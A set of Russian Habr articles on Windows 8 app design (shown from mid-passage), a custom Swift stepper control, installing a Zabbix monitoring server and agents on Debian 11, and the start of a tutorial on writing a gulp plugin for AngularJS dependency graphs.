**Вам нужно приоритизировать**, поэтому сделайте 2-3 персонажа, которые покроют основную часть (ядро) вашей целевой аудитории. Чтобы вам было проще, выберите 3 ключевые характеристики, имеющие значение (например, техническая грамотность, наличие явных предпочтений, социальная активность) — и разнесите разных персонажей по этим характеристикам:
> 
>
>
После этого добавьте несколько жизненных деталей, чтобы оживить персонажей.
### 2. Чем ваше приложение лучше других?
Теперь, когда вы знаете, для кого вы делаете свое приложение, важно четко сформулировать, чем ваше приложение будет уникально. На рынке с сотнями тысяч приложений у вас всегда будут конкуренты, среди которых вам придется выделяться.
Также стоит помнить, что ваше приложение, будучи размещенным в магазин, обязательно будет попадать в ту или иную категорию (например, «развлечения» или «здоровье и фитнесс»).
Поэтому, чтобы правильно расставить приоритеты, важно четко сформулировать, в чем ваше приложение лучше других в своей категории — “best at statement”. “Best at statement” — это именно то, ради чего пользователи побегут к вам, принесут вам свою любовь и деньги и почему расскажут о нем всем своим друзьям.
Сформулируйте, запишите и повесьте в рамочку:
**«Мое приложение — самое лучше в своей категории для \_\_\_*для чего предназначено*\_\_\_»**
или
**«Мое приложение лучше других в своей категории \_\_\_\_\_\_*что делает*\_\_\_\_\_\_»**
Это должно быть 1) одно понятное предложение, 2) конкретное в своей формулировке и 3) реально отличающее вас от всех ваших конкурентов. Важно, чтобы ваше утверждение в полной мере отвечало действительности и вашим намерениям.
Например, сказать, что «мое приложение — самое лучшее в категории музыка и видео для просмотра фильмов» — это либо профанация, которая ничем вам не поможет, либо и в самом деле означает, что у вас, скажем, самая лучшая *технология* для доставки и просмотра фильмов. Это могут быть уникальные кодеки, технологии сжатия, адаптивный стримминг, качество картинки или какой-то уникальный опыт вовлечения пользователя в просмотр (некоторая расширенная реальность).
Или вот еще пример: утверждение «мое приложение — самый большой online-кинотеатр» может, конечно, означать, что у вас самая большая (по количеству) коллекция самого разного кино на фоне остальных конкурентов, но мне как пользователю никак не гарантирует, что у вас доступно самое свежее и самое интересное кино, или, если я любитель аниме, что я найду там свои любимые мультфильмы, даже если готов заплатить за просмотр.
В последнем случае, кстати, большие шансы на успех имело бы как раз более фокусное приложение — со всеми вытекающими: от целевой аудитории до тонкостей дизайна.
**Наличие дифференцирующего фокуса крайне важно**. Ваше приложение может дополнительно уметь делать еще много-много всего, но в нем должно быть что-то одно самое важное, говорящее мне, почему и зачем я буду им пользоваться. Имея такой фокус и ключевых персонажей, вы сможете верифицировать все остальные принимаемые решения: в частиности, проверять необходимость и устанавливать приоритетность различных сценариев и внедряемой функциональности.
> **Пример**. Возвращаясь к озвученной выше идее, мое приложение могло бы иметь следующий фокус: «самое лучше приложение в категории “развлечения” для планирования и организации совместного с друзьями просмотра кино».
>
>
>
> Это приложение должно помочь мне выбрать интересный для просмотра фильм, согласовать его просмотр с друзьям в удобное время и удобном месте и, собственно, организовать просмотр на месте (купить билеты в кино, либо сделать трансляцию дома).
>
>
**Best == focus**. Лучшее приложение должно иметь явный фокус, прозрачный для пользователей, очевидный и легко запоминающийся.
### 3. Выделите ключевые сценарии
Следующий важный пункт заключается в том, чтобы выделить из возможного списка всего того, для чего ваше приложение нужно и что пользователь с ним потенциально будет делать, самое главное, на чем можно будет сделать основной акцент.
`Конечно, за словом «сценарий», особенно с дополнительными атрибутами (вроде «пользовательский сценарий») могут скрываться разные вещи с различной степенью детализации, однако, в рамках данной статьи мы ограничимся простым пониманием.`
**Ответьте на вопрос: зачем пользователь будет использовать ваше приложение?** Смежные и похожие вопросы:
* Какие задачи он будет решать с его помощью?
* Что он будет пытаться сделать?
На данном этапе важно не думать про интерфейсные решения и не зацикливаться на конкретных деталях реализации. Вполне возможно, что у вас уже есть в наличии продуманная идея и вы выпишите ключевые сценарии сходу.
Если вы работаете в команде (ну даже если и один/одна), вы можете устроить мозговой штурм, записывая все пришедшие в голову идеи (часть из них вам наверняка пригодится позже, поэтому сильно себя не ограничивайте и смело расширяйте список вопросов схожими).
> **Пример**. Для моего виртуального приложения для просмотра фильмов у меня получились следующие ответы:
>
>
>
> [](http://img-fotki.yandex.ru/get/6508/25193168.14/0_5c7da_b48431c3_orig)
>
>
Как видите, мой список представляет собой большую кашу разных идей, сформулированных также в разной форме. Теперь важно выделить из них самое главное, постепенно отфильтровывая неважное или вторичное.
**Отделите функциональность**. Начнем с функциональности — нужно исключить из списка конкретные действия, которые я могу делать внутри приложения, и формулировки возможностей приложения. Хотя это разделение может быть весьма условным, скорее всего, исключаемые элементы подразумевают под собой конкретные интерфейсные решения и небольшие (в том числе атомарные) действия со стороны пользователя:
> [](http://img-fotki.yandex.ru/get/6506/25193168.14/0_5c7db_22dab04f_orig)
>
>
**Отделите вторичные/сторонние сценарии**. Теперь нужно выбрать ключевые сценарии, отбросив вторичные. Как я писал выше, ключом для верификации является позиционирование вашего приложения — его “best at statement”.
> В моем случае это выглядело бы так:
>
>
>
> * Например, может показаться, что прямо в этом же приложении было бы здорово заодно узнать, где можно потусоваться с друзьями на выходных (сходить на концерт, матч, вечеринку или в театр), однако, фокус нашего приложения на кино, поэтому этот сценарий является посторонним.
> * Поделиться впечатлениями о фильме, вроде, выглядит неплохой идеей, однако, это действие, выходящее за временные рамки того, что мы описали в нашем позиционировании (спланировать — организовать — посмотреть), поэтому это также сторонний сценарий.
> * С точки зрения организации кажется, что выбрать и купить еду/напитки прямо в приложении, является подходящим сценарием, однако, он очевидно вторичен, так как может быть решен более фокусным приложением.
> * Наконец, с точки зрения общих целей компании друзей, найти интересный фильм кажется более заманчивым, чем найти что-то конкретное — первое обычно шире.
>
>
>
>
>
> [](http://img-fotki.yandex.ru/get/6606/25193168.14/0_5c7dc_cbc958_orig)
>
>
**Сформулируйте 3-4 ключевых сценария использования вашего приложения**. Мы близки к цели: откинув все лишнее, мы пришли к трем кандидатам на ключевые сценарии, которые рассказывают нам, зачем пользователь будет использовать наше приложение.
Повторюсь, вполне возможно, вы сможете сформулировать их сразу. Главное — убедитесь, что они соответствуют позиционированию вашего приложения и согласуются с вашими персонажами.
> **Пример**. В моей истории у меня получились следующие сценарии:
>
> * найти интересный фильм для просмотра,
> * договориться о совместном просмотре с друзьями,
> * получить массу впечатлений от просмотра.
>
>
>
>
>
> Для моего виртуального приложения важно, чтобы пользователи могли найти что-то отвечающее их интересам, произвести некоторое коллективное действие и, наконец, приятно посмотреть кино с друзьям (здесь я виртуально предполагаю, что устройство может помочь сделать этот просмотр еще более приятным).
>
>
К слову, в данном контексте «сценарии» — это скорее названия сценариев, которые на практике могут быть более или менее детально расписаны или визуализированы вплоть до конкретики пинг-понга действий между человеком и машиной. Мы к этому перейдем несколько позже, хотя и в менее формализованном виде, чем обычно предполагается идеальной теорией.
**Проверьте свои сценарии на персонажах.** Напомню, что на первом шаге мы придумали 2-3 типовых персонажа, которые будут (как мы надеемся) пользоваться нашим приложением. Как вы могли заметить, выделенные сценарии заведомо покрывают разные временные отрезки (этапы) работы с приложением. (Кстати, если суть вашего приложения также предполагает разные этапы, это обязательно должно найти отражение в сценариях.)
Чтобы прогнать персонажей через сценарии, попробуйте написать или рассказать небольшие истории про своих персонажей и работу с приложением. Мне в этом аспекте нравится сочетание с комиксами — небольшими визуальными (рисованными) историями.
> **Пример**. Для моего приложения история одного из персонажей выглядит следующим образом:
>
>
>
> Дима Т., гуляя по улице, увидел афишу нового крутого фильма «Рембо 7». «Как было бы круто в эти выходные собраться с друзьями у меня и посмотреть новую киношку,» — подумал Дима. Сфотографировав плакат (или набрав название фильма), Дима быстро нашел информацию о фильме в Movie Meeting, выразил свое желание его посмотреть и предложил своим друзьям собраться в субботу у него и посмотреть всем вместе.
>
>
>
> Димины друзья радостно отреагировали на новый анонс и предложение собраться у Димы и в ходе непродолжительного обсуждения договорились встретиться в 8 вечера. Несколько приглашенных отвалилось, так как не разделяли Диминой страсти к боевикам и кровавым сценам.
>
>
>
> В пятницу Дима Т. проверил список собирающихся к нему в гости друзей и предложил всем заказать заодно пиццу с ананасами и Тархун.
>
>
>
> В субботу Дима вместе с друзьями подключили планшет с установленным клиентом Movie Meeting к телевизору — и в назначенное время они все вместе начали просмотр кино. В отдельных сценах на планшете можно было посмотреть интересные детали (карты с местами боевых действий, характеристики оружия), планшет и телефоны, соединенные в сеть также создавали дополнительный эффект присутствия, вибрируя, распространяя звуки стрельбы и подсвечивая экранами в такт основной картинке.
>
>
>
> 
>
>
>
> Хотя я рисовал картинку для телефона, думаю, вы легко представите на его месте и планшет или ноутбук. Это, как говорится, уже детали.
>
>
Если все сценарии легко переводятся в пользовательские истории — это хороший знак. В любом случае, скажу это еще раз, **важно, чтобы ваши сценарии помогали поддержать ваше позиционирование (“best at statement”)**. Не бойтесь отбрасывать лишнее.
**Если что-то не помогает вашему приложению стать лучшим, оно мешает этому.**
Кстати, в некотором смысле, взгляд на приложение через сценарии использования и истории подразумевает и сдвиг фокуса с предоставления функциональности и контента к предоставлению опыта взаимодействия (content/features provider ⇒ scenario provider).
#### Продолжение следует...
В [следующей части](http://habrahabr.ru/company/microsoft/blog/149539/) мы рассмотрим задачу проектирования навигации.
---
##### Ключевые ресурсы
[Дизайн для Windows 8](http://design.windows.com)
[Разработка для Windows 8](http://dev.windows.com)
[Разработка приложения на платформе Microsoft](http://msdn.microsoft.com/ru-ru/jj244581) | https://habr.com/ru/post/149484/ | null | ru | null |
# Пишем собственный CustomStepper в Swift
[Тут можно найти реализацию готового проекта](https://github.com/zontz/CustomStepper)
На сегодняшний день во многих приложениях мы можем наблюдать stepper, большинство из них кастомные. Несмотря на то, что Apple предоставляет уже реализацию готового степпера, иногда он не подходит по разным причинам. Это пример подхода к реализации кастомного степпера для кофейни.
Есть разные способы в достижение цели, но сегодня я вам покажу тот, которые не нашел. В этой статье мы будем использовать верстку кодом, stackView с 2 кнопками (-,+) и лейбл.
Для того, чтобы многократно использовать наш степпер, сделаем его классом, который наследуется от UIControl. По сути это полноценный UI-компонент, который можно будет потом взять в свои проекты.
Самое важное - логика, которая будет обрабатывать текущее значения нашего степпера. Для этого будет использовать переменную, которая будет отвечать за текущее значения степпера и обновлять текст лейбла. Для этого введем переменную currentValue. По умолчанию значение нашего степпера будет 1.
```
final class CustomStepper: UIControl {
/// Счетчик степпер который мы можем считывать и записывать
var currentValue = 1 {
didSet {
currentValue = currentValue > 0 ? currentValue : 0
currentStepValueLabel.text = "\(currentValue)"
}
}
}
```
Дальше нам нужно создать 2 кнопки и лейбл, из которых и будет состоять наш степпер. Для того, чтобы наш текст лейбла не двигался во время работы степпера мы будем использовать метод UIFont.monospacedDigitSystemFont.
```
private lazy var decreaseButton: UIButton = {
let button = UIButton()
button.setTitleColor(.black, for: .normal)
button.setTitle("-", for: .normal)
button.addTarget(self, action: #selector(buttonAction), for: .touchUpInside)
return button
}()
private lazy var increaseButton: UIButton = {
let button = UIButton()
button.setTitle("+", for: .normal)
button.addTarget(self, action: #selector(buttonAction), for: .touchUpInside)
button.setTitleColor(.black, for: .normal)
return button
}()
private lazy var currentStepValueLabel: UILabel = {
var label = UILabel()
label.textColor = .black
label.text = "\(currentValue)"
label.font = UIFont.monospacedDigitSystemFont(ofSize: 15, weight: UIFont.Weight.regular)
return label
}()
```
Имея все необходимые элементы, мы можем реализовать метод, который отвечает за логику нашего степпера и привязать его к нашим кнопкам. Для дальнейшей работы степпера будем использовать метод sendActions().
```
//MARK: - Actions
@objc private func buttonAction(_ sender: UIButton) {
switch sender {
case decreaseButton:
currentValue -= 1
case increaseButton:
currentValue += 1
default:
break
}
sendActions(for: .valueChanged)
}
```
Внутри контроллера проинициализируем наш степпер и добавим таргет для обработки события нашего степпера. С этими данными контроллер может дальше осуществлять логику.
```
import UIKit
import SnapKit
final class MainVC: UIViewController {
private lazy var stepperView = CustomStepper()
//MARK: - Life Cycle
override func viewDidLoad() {
super.viewDidLoad()
setupViews()
setupConstraints()
setupStepper()
}
//MARK: - Private
private func setupViews() {
view.backgroundColor = .white
view.addSubview(stepperView)
}
private func setupConstraints() {
stepperView.snp.makeConstraints { make in
make.centerX.centerY.equalToSuperview()
}
}
private func setupStepper() {
stepperView.addTarget(self, action: #selector(stepperChangedValueAction), for: .valueChanged)
}
@objc private func stepperChangedValueAction(sender: CustomStepper) {
print(sender)
print(sender.currentValue)
}
}
```
Готово! Вот конечный результат:
 | https://habr.com/ru/post/701202/ | null | ru | null |
# Мониторинг SAAS-сервиса интернет-магазинов с помощью Zabbix. Часть 2
В [прошлой статье](https://habr.com/ru/company/first/blog/676864/) мы рассказали, что нужно учитывать при мониторинге SAAS-сервиса интернет-магазинов. Теперь займемся практикой — установкой сервера Zabbix.
Для начинающих системных администраторов процедура установки Zabbix может показаться непростой, однако на самом деле в обычных случаях, если речь не идет о тысячах контролируемых хостов, особой сложности нет. Надеемся, что наша статья поможет вам внедрить этот мощный инструмент мониторинга в своей компании.
Приступаем к внедрению Zabbix
-----------------------------
Если вы только приступаете к внедрению Zabbix, то установите сервер мониторинга Zabbix на виртуальную машину, например, арендованную в одном из дата-центров.
Также необходимо установить на каждый контролируемый сервер (хост) клиентское ПО Zabbix — агент и так называемую программу-траппер zabbix-sender, отправляющую данные мониторинга на сервер Zabbix из командной строки.
Для установки сервера Zabbix мы будем использовать виртуальные машины (ВМ) с ОС Debian 11. Перед тем как приступить к их заказу и установке ПО, нужно выбрать конфигурацию ВМ и дата-центры, где они будут установлены.
### Выбор конфигурации виртуальной машины Zabbix
Как выбрать конфигурацию для виртуальной машины Zabbix?
Инструкцию по выбору конфигурации можно найти [в документации](https://www.zabbix.com/documentation/6.2/en/manual/installation/requirements) (для версии 6.0 есть [на русском языке](https://www.zabbix.com/documentation/6.0/ru/manual/installation/requirements)).
Так как наш SAAS-сервис интернет-магазинов содержит пока только десятки хостов (а не сотни и тысячи, как хотелось бы), то нам будет достаточно ВМ с 4 ядрами, объемом оперативной памяти 4 Гбайт и диском 40 Гбайт. Если же требуется контролировать всего несколько хостов, хватит и двух процессорных ядер.
Заметим, что при размещении ВМ Zabbix в облаке есть возможность управлять количеством ядер и объемом оперативной памяти, выделяя при необходимости больше или меньше ресурсов.
Тут, однако, имеет смысл сравнить цены — облачные решения могут оказаться дороже простой виртуальной машины при одинаковых конфигурациях. Кроме того, у некоторых хостинг-провайдеров есть гибкие тарифы, которые позволяют изменять количество ядер и объём памяти после создания ВМ. Поэтому перед заказом сервера стоит проконсультироваться со специалистами хостинга и выяснить все детали.
### Размещение серверов Zabbix в нескольких дата-центрах
Наличие нескольких серверов мониторинга в разных дата-центрах позволит контролировать доступность узлов из разных мест с учетом связности дата-центров. Когда возникнет проблема с доступностью, вы сможете быстро понять, с чем связана эта проблема — с работоспособностью самих хостов или с каналами передачи данных. Это важно, когда нужно как можно быстрее локализовать проблему.
Если к мониторингу предъявляются повышенные требования, используйте возможность создавать резервные серверы Zabbix (есть в Zabbix версии 6.x). Резервный сервер автоматически возьмет на себя работу при выходе из строя основного сервера мониторинга.
Установка серверного ПО Zabbix
------------------------------
Для получения инструкции по установке откройте страницу <https://www.zabbix.com/download>. Выберите здесь нужный вариант установки, платформу и другие параметры (рис. 1).
 Рис. 1. Выбор платформыПосле выбора на странице появятся инструкция по установке в виде команд, которые нужно вводить в консоли ОС виртуальной машины сервера Zabbix.
Мы выбрали установку самой новой на момент написания этой статьи версии Zabbix 6.2 в ОС Debian 11, с базой данных MySQL и веб-сервером nginx.
Начнем с того, о чем не будет сказано в полученной таким способом инструкции.
### Обновление ОС
Прежде всего, обновите ОС:
```
# apt update
# apt upgrade
```
Это нужно делать от пользователя `root` или с помощью `sudo`.
### Установка fail2ban
Далее установите fail2ban для защиты от брутфорса, который начнется сразу, как только ваш виртуальный сервер станет доступен в интернете:
```
# apt install fail2ban
```
Проверьте, что `fail2ban` работает:
```
# systemctl status fail2ban
```
Включите автоматический запуск `fail2ban` при загрузке ОС:
```
# systemctl enable fail2ban
```
Более подробную инструкцию по настройке fail2ban для Debian 11 вы найдете [здесь](https://www.linuxcapable.com/ru/how-to-install-configure-fail2ban-on-debian-11).
### Установка MySQL
Инструкция по установке Zabbix предполагает, что MySQL (или совместимая с ней MariaDB) уже установлен на виртуальной машине и работает. Если это не так, установите MariaDB:
```
# apt install mariadb-server
```
Вы, конечно, можете использовать и MySQL.
### Установка репозитория Zabbix
Далее выполните команды из инструкции, которая появится на странице [https://www.zabbix.com/ru/download](https://www.zabbix.com/ru/download-) после выбора платформы и конфигурации.
Для начала установите репозиторий Zabbix:
```
# wget https://repo.zabbix.com/zabbix/6.2/debian/pool/main/z/zabbix-release/zabbix-release_6.2-1+debian11_all.deb
# dpkg -i zabbix-release_6.2-1+debian11_all.deb
# apt update
```
### Установка ПО сервера Zabbix, веб-интерфейса и агента Zabbix
Затем установите ПО сервера Zabbix, веб-интерфейс и агент Zabbix:
```
# apt install zabbix-server-mysql zabbix-frontend-php zabbix-nginx-conf zabbix-sql-scripts zabbix-agent
```
### Создание базы данных zabbix
Для создания базы данных пользователем `root` запустите утилиту `mysql`:
```
# mysql -u root
```
Если запускать эту утилиту от root, то пароль root от MariaDB вводить не нужно. И вообще при установке сервера Zabbix в Debian 11 этот пароль вам не потребуется.
Далее в приглашении mysql создайте базу данных:
```
MariaDB [(none)]> create database zabbix character set utf8mb4 collate utf8mb4_bin;
```
Теперь создайте пользователя zabbix@localhost, указав пароль (нужно указать свой):
```
MariaDB [(none)]> create user zabbix@localhost identified by 'pAssW0rd';
```
Сохраните использованный пароль, он вам еще потребуется при установке веб-интерфейса Zabbix.
Установите необходимые привилегии для базы данных:
```
MariaDB [(none)]> grant all privileges on zabbix.* to zabbix@localhost;
```
И, наконец, завершите работу утилиты mysql:
```
MariaDB [(none)]> quit;
```
### Запуск веб-интерфейса
На следующем шаге нужно запустить веб-интерфейс Zabbix.
Так как мы выбрали вариант установки с использованием Nginx, проверьте, не работает ли на виртуальной машине сервис Apache. Если работает, его нужно остановить, а затем отключить запуск при перезагрузке:
```
# systemctl status apache2
# systemctl stop apache2
# systemctl disable apache2
```
Дело в том, что Apache обычно занимает порт 80, который нужен нам для веб-интерфейса сервера Zabbix, работающего через более быстрый nginx.
Откройте редактором vim или nano файл /etc/zabbix/nginx.conf. Отредактируйте директивы listen и server\_name, указав в первой из них порт 80, а во второй — доменное имя для веб-интерфейса сервера Zabbix (укажите здесь свой домен):
```
server {
# listen 8080;
listen 80;
server_name zbx62.mydomain.ru;
…
}
```
После редактирования проверьте конфигурацию nginx, перезапустите этот сервис и проверьте его состояние:
```
# nginx -t
# systemctl restart nginx
# systemctl status nginx
```
Запустите процессы сервера и агента Zabbix и настройте их запуск при загрузке ОС.
```
# systemctl restart zabbix-server zabbix-agent nginx php7.4-fpm
# systemctl enable zabbix-server zabbix-agent nginx php7.4-fpm
```
Теперь откройте в браузере сайт по ссылке, подобной приведенной ниже:
```
http://xxx.xxx.xxx.xxx:/setup.php
```
Здесь вместо `xxx.xxx.xxx.xxx` укажите IP-адрес виртуальной машины, на которую вы установили сервер Zabbix. В окне браузера появится первая страница установки (рис. 2).
Рис. 2. Первая страница установки в веб-интерфейсеНажмите кнопку **Next step**, чтобы проверить выполнение условий для установки (рис. 3).
Рис. 3. Проверка выполнения условий для установкиЕсли что-то не так, вы увидите сообщения о необходимости внесения изменений, например, в конфигурацию php.ini. Внесите эти изменения и запустите проверку еще раз.
Когда все условия выполнены, снова щелкните кнопку **Next step**. Укажите в поле **Password** пароль базы данных, который был задан ранее при создании пользователя zabbix@localhost (рис. 4).
Рис. 4. Конфигурирование соединения с базой данныхНа следующем шаге задайте имя сервера Zabbix в поле **Zabbix server name**, укажитесвойчасовой пояс и выберите тему для оформления веб-интерфейса Zabbix (рис. 5).
Рис. 5. Установка имени сервера, часового пояса и темы оформленияТеперь осталось еще два раза нажать кнопку **Next step**, подтвердив действия, и установка сервера Zabbix будет завершена.
### Подключение к веб-интерфейсу
Для подключения к веб-интерфейсу сервера Zabbix откройте в браузере страницу <http://xxx.xxx.xxx.xxx/>. Как и при установке, вместо `xxx.xxx.xxx.xxx` укажите IP-адрес виртуальной машины Zabbix.
На странице авторизации введите логин **Admin** и пароль **zabbix**.
Если вы все сделали правильно, в браузере появится панель (дашборд) веб-интерфейса Zabbix (рис. 6).
Рис. 6. Дашборд ZabbixПервым делом поменяйте пароль пользователя Admin. Для этого откройте слева меню **Administration** и выберите раздел **Users**. Там щелкните имя пользователя **Admin** и затем кнопку **Change password**.
Установка клиентского ПО Zabbix
-------------------------------
На каждый сервер (физический или виртуальный), который вы собираетесь контролировать при помощи Zabbix, нужно установить агент zabbix-agent и программу zabbix-sender.
Агент позволяет контролировать различные параметры сервера. Программа zabbix-sender представляет собой утилиту командной строки для отправки значений контролируемых параметров на сервер Zabbix.
Существует две версии агента — zabbix-agent и zabbix-agent2. Обе эти версии рабочие и продолжают развиваться.
Установим обе версии сразу.
### Установка агента Zabbix и программы zabbix\_sender на ОС Linux
Для начала обновите ОС на контролируемом хосте:
```
# apt update
# apt upgrade
```
Затем установите репозиторий Zabbix, как мы это делали для сервера:
```
# wget https://repo.zabbix.com/zabbix/6.2/debian/pool/main/z/zabbix-release/zabbix-release_6.2-1+debian11_all.deb
# dpkg -i zabbix-release_6.2-1+debian11_all.deb
# apt update
```
Теперь выполните установку агента zabbix-agent и программы zabbix-sender:
```
# apt install zabbix-agent zabbix-sender
```
Проверьте версии установленных программ:
```
# zabbix_agentd -V
# zabbix_sender -V
```
Чтобы установить zabbix-agent2, используйте следующую команду:
```
# apt install zabbix-agent2
```
Теперь вы можете запустить zabbix-agent2, предварительно остановив zabbix-agent:
```
# systemctl stop zabbix-agent
# systemctl start zabbix-agent2
```
Если нужно вернуться к первой версии zabbix-agent, то это можно сделать так:
```
# systemctl stop zabbix-agent2
# systemctl start zabbix-agent
```
Когда вы определитесь с версией нужно вам агента Zabbix, сделайте так, чтобы при перезагрузке ОС этот агент запускался автоматически. Например, так вы можете разрешить автозапуск для zabbix-agent2, запретив его для zabbix-agent:
```
# systemctl enable zabbix-agent2
# systemctl disable zabbix-agent
```
### Настройка конфигурации агента Zabbix
Чтобы сервер Zabbix «увидел» контролируемые хосты, на которых вы установили агента Zabbix, нужно правильным образом отредактировать файл конфигурации агента на каждом хосте.
Узнать состояние агента, а заодно и путь к файлу конфигурации можно так:
```
# systemctl status zabbix-agent
● zabbix-agent.service - Zabbix Agent
Loaded: loaded (/lib/systemd/system/zabbix-agent.service; enabled; vendor preset: enabled)
Active: active (running) since Fri 2022-07-15 10:57:21 MSK; 5s ago
Process: 2857 ExecStart=/usr/sbin/zabbix_agentd -c $CONFFILE (code=exited, status=0/SUCCESS)
Main PID: 2859 (zabbix_agentd)
Tasks: 6 (limit: 4676)
Memory: 3.9M
CPU: 32ms
CGroup: /system.slice/zabbix-agent.service
├─2859 /usr/sbin/zabbix_agentd -c /etc/zabbix/zabbix_agentd.conf
├─2860 /usr/sbin/zabbix_agentd: collector [idle 1 sec]
├─2861 /usr/sbin/zabbix_agentd: listener #1 [waiting for connection]
├─2862 /usr/sbin/zabbix_agentd: listener #2 [waiting for connection]
├─2863 /usr/sbin/zabbix_agentd: listener #3 [waiting for connection]
└─2864 /usr/sbin/zabbix_agentd: active checks #1 [idle 1 sec]
```
Как видите, для zabbix-agent конфигурация задается в файле `/etc/zabbix/zabbix_agentd.conf`. Для zabbix-agent2 используется другой файл: `/etc/zabbix/zabbix_agent2.conf`.
Если вы установили оба агента, отредактируйте эти файлы и перезапустите агенты. Вам нужно найти в файлах конфигурации агентов следующие строки:
```
Server=127.0.0.1
Hostname=Zabbix server
```
В первой из них укажите адрес IP своего сервера Zabbix, а во второй — имя контролируемого хоста. Когда у вас будет два или несколько серверов Zabbix, укажите здесь адреса IP всех таких серверов через запятую.
Для перезапуска агентов используйте команды:
```
# systemctl restart zabbix-agent2
# systemctl restart zabbix-agent
```
Добавление контролируемого хоста на сервер Zabbix
-------------------------------------------------
Откройте главную страницу веб-интерфейса Zabbix, затем выберите из меню **Configuration** строку **Hosts**. Откроется страница **Hosts**, на которой уже добавлен один хост с именем **Zabbix server**. Это хост, на котором установлен сам сервер Zabbix, и его адрес IP указан как 127.0.0.1 (рис. 7).
Рис. 7. Страница Hosts сразу после установки сервера ZabbixДля добавления нового контролируемого хоста щелкните кнопку **Create host**. Появится форма, где нужно заполнить параметры нового хоста (рис. 8).
Рис. 8. Параметры добавляемого хостаЗдесь вам нужно указать в поле **Host name** такое же имя хоста, что было задано в файле конфигурации агента Zabbix.
Для мониторинга обычного физического или виртуального сервера Linux выберите в поле **Templates** шаблон **Linux by Zabbix agent**.
Далее нужно задать имя группы в поле **Host groups**. Сразу после установки в конфигурации Zabbix нет ни одной группы, поэтому вам нужно создать новую группу. Мы рекомендуем отразить в имени группы название дата-центра и тип узла, чтобы по этому имени можно было быстро понять, что это за хосты, где они находятся и для чего предназначены.
В поле **Interfaces** щелкните ссылку **Add** (на рис. 8 не показана), а затем выберите строку **Agent**. Далее в поле **Agent** формы укажите адрес IP нового контролируемого хоста, как это показано на рис. 8.
Когда все поля будут заполнены, щелкните кнопку **Add**.
Через некоторое время (порядка нескольких минут) напротив добавленного хоста в столбце **Availability** появится значок **ZBX** зеленого цвета (рис. 9).
Рис. 9. Добавлено два хоста для мониторингаЕсли этого не произошло, проверьте еще раз файл конфигурации агента Zabbix, состояние сервиса zabbix-agent (или zabbix-agent2, если вы его используете), а также убедитесь, что после редактирования файла конфигурации агента вы перезапустили сервис.
Кроме того, убедитесь, что на контролируемом хосте открыт порт 10050 для сервера Zabbix.
При ошибке вы увидите значок **ZBX** красного цвета. Щелкните его, и на экране появится сообщение об ошибке (рис. 10).
Рис. 10. Сообщение об ошибке при попытке подключения сервера Zabbix к агентуЕсли вам нужно добавить несколько похожих друг на друга хостов на сервер Zabbix, воспользуйтесь функцией клонирования. Для этого откройте хост в списке хостов, щелкнув по его имени, а затем воспользуйтесь кнопкой **Clone** или **Full clone**. Измените имя хоста и его адрес IP, отредактируйте список использованных шаблонов, а затем сохраните изменения кнопкой **Add**.
Функция **Full clone** позволяет дополнительно скопировать элементы данных (items), триггеры, графы и приложения. Это удобно, если для хостов были сделаны индивидуальные настройки.
Что нужно сделать дальше
------------------------
В следующей статье мы расскажем о настройке мониторинга дисковых систем и контроллеров диска.
А пока добавьте на свой сервер Zabbix все контролируемые хосты, сгруппировав их по дата-центрам, типам хостов и выполняемым функциям.
Мы, например, создали группы для каждого дата-центра, для физических серверов и виртуальных машин, для мониторинга сайтов, сроков действия сертификатов и доменных имен.
Также рекомендуем ознакомиться с документацией Zabbix. Для версии 6.2 она доступна [на английском языке](https://www.zabbix.com/documentation/6.2/en), а для версии 6.0 [на русском языке](https://www.zabbix.com/documentation/6.0/ru).
*Автор: Александр Фролов.*
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/680614/ | null | ru | null |
# Создание gulp-плагина на примере построения графа зависимостей для модулей Angular JS
Предисловие
-----------
В данной статье я поделюсь с вами опытом, как быстро и безболезненно создавать простые плагины для gulp. Статья ориентирована на таких же чайников, как и я. На тех, кто до сих пор лишь использовал готовые плоды gulp, срывая их с великого Древа Познания NPM, и не имел серьезного опыта работы с Node JS и его стримами.
Я не буду отвечать на вопросы вида «А зачем создавать свои плагины, если уже написано все, что только возможно?». Придет время, и вам за полчаса нужно будет написать что-то очень специфичное для вашего проекта. Перерыв весь npm, вы найдете один заброшенный плагин с убогим функционалом, автор которого недоступен, код ужасен и так далее. А может быть, это будет настолько специфичная задача, что вы не найдете абсолютно ничего.
Такой задачей для меня стала визуализация большого проекта, использующего Angular JS. Было огромное количество angular-модулей, связи между которыми были для меня уже не столь очевидными. Плюс мне хотелось видеть «диверсантов» — модули, которые каким-либо образом нарушали общую концепцию проекта (например, лезли в другой модуль не через провайдера, а напрямую).
Поискав, я нашел [такое решение](https://github.com/carlo-colombo/grunt-angular-modules-graph) своей задачи. В принципе, запускать grunt плагины в gulp достаточно просто, но реализация в этом плагине меня не слишком впечатлила. Мне не хотелось использовать сторонние программы, а именно graphviz в качестве средства визуализации графа. Плюс ко всему, кто знает, что мне потребуется еще, а зависимость от сторонних библиотек всегда налагает ограничения.
Если читателя интересует лишь этот плагин, а не сама статья, то вот ссылка на проект на [github](https://github.com/k-makarov/gulp-ng-graph) и на [npm](https://www.npmjs.com/package/gulp-ng-graph). Всем остальным — добро пожаловать под кат.
С чего начать?
--------------
Gulp-разработчики любезно помогают нам в наших начинаниях, создав вики-документацию для начинающих разработчиков плагинов [здесь](https://github.com/gulpjs/gulp/blob/master/docs/writing-a-plugin/README.md). Для успешной разработки достаточно прочитать титульник и [гайдлайны](https://github.com/gulpjs/gulp/blob/master/docs/writing-a-plugin/guidelines.md). Можно обойтись и без последних, но если в будущем вы планируете выкладывать свой модуль в публичный npm, то чтобы не собирать кирпичи на свою голову, советую не проходить мимо гайдлайнов.
Краткий конспект философии gulp-плагинов:
* ваш плагин всегда принимает набор Vinyl объектов
* ваш плагин всегда должен отдавать набор Vinyl объектов (вы можете этого и не делать, но с результатом вашего плагина потом невозможно будет работать другим плагинам. Это обязательно выстрелит)
* что за винил? Vinyl file object — в простонародье просто файл. В свойстве path хранит filename — полный путь до файла, в свойстве contents — буфер или стрим с содержанием файла
* никогда не пишите плагины, которые будут делать то же самое, что и существующие node пакеты. Вы попадете в [блэклист](https://github.com/gulpjs/plugins/blob/master/src/blackList.json). И вполне справедливо
Плюс ко всему разработчики советуют ознакомиться с хорошо написанными простыми плагинами. Я бы советовал посмотреть на код [gulp-replace](https://github.com/lazd/gulp-replace/blob/master/index.js)
Реализуем свои идеи
